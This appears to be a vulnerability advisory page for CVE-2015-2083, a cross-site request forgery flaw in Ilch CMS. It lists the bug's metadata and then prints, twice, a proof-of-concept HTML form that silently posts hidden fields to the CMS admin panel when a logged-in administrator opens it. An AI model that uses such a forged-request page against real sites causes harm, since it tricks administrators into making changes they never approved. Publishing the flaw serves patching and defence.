Ilch CMS CVE-2015-2083 Cross Site Request Forgery Vulnerability
BID:74898
Info
Ilch CMS CVE-2015-2083 Cross Site Request Forgery Vulnerability
| Bugtraq ID: | 74898 |
| Class: | Input Validation Error |
| CVE: |
CVE-2015-2083 |
| Remote: | Yes |
| Local: | No |
| Published: | Feb 25 2015 12:00AM |
| Updated: | Feb 25 2015 12:00AM |
| Credit: | Provensec |
| Vulnerable: |
Ilch Ilch CMS 0 |
| Not Vulnerable: | |
Exploit / POC
Ilch CMS CVE-2015-2083 Cross Site Request Forgery Vulnerability
To exploit this issue an attacker must entice an unsuspecting victim to open a malicious URI.
The following proof-of-concept is available:
<html>
<body>
<form action="
http://www.example.com/ilch/admin.php?profilefields" method="POST">
<input type="hidden" name="sid" value="" />
<input type="hidden" name="show" value="testvalue" />
<input type="hidden" name="func" value="1" />
<input type="hidden" name="sub" value="Eintragen" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
To exploit this issue an attacker must entice an unsuspecting victim to open a malicious URI.
The following proof-of-concept is available:
<html>
<body>
<form action="
http://www.example.com/ilch/admin.php?profilefields" method="POST">
<input type="hidden" name="sid" value="" />
<input type="hidden" name="show" value="testvalue" />
<input type="hidden" name="func" value="1" />
<input type="hidden" name="sub" value="Eintragen" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>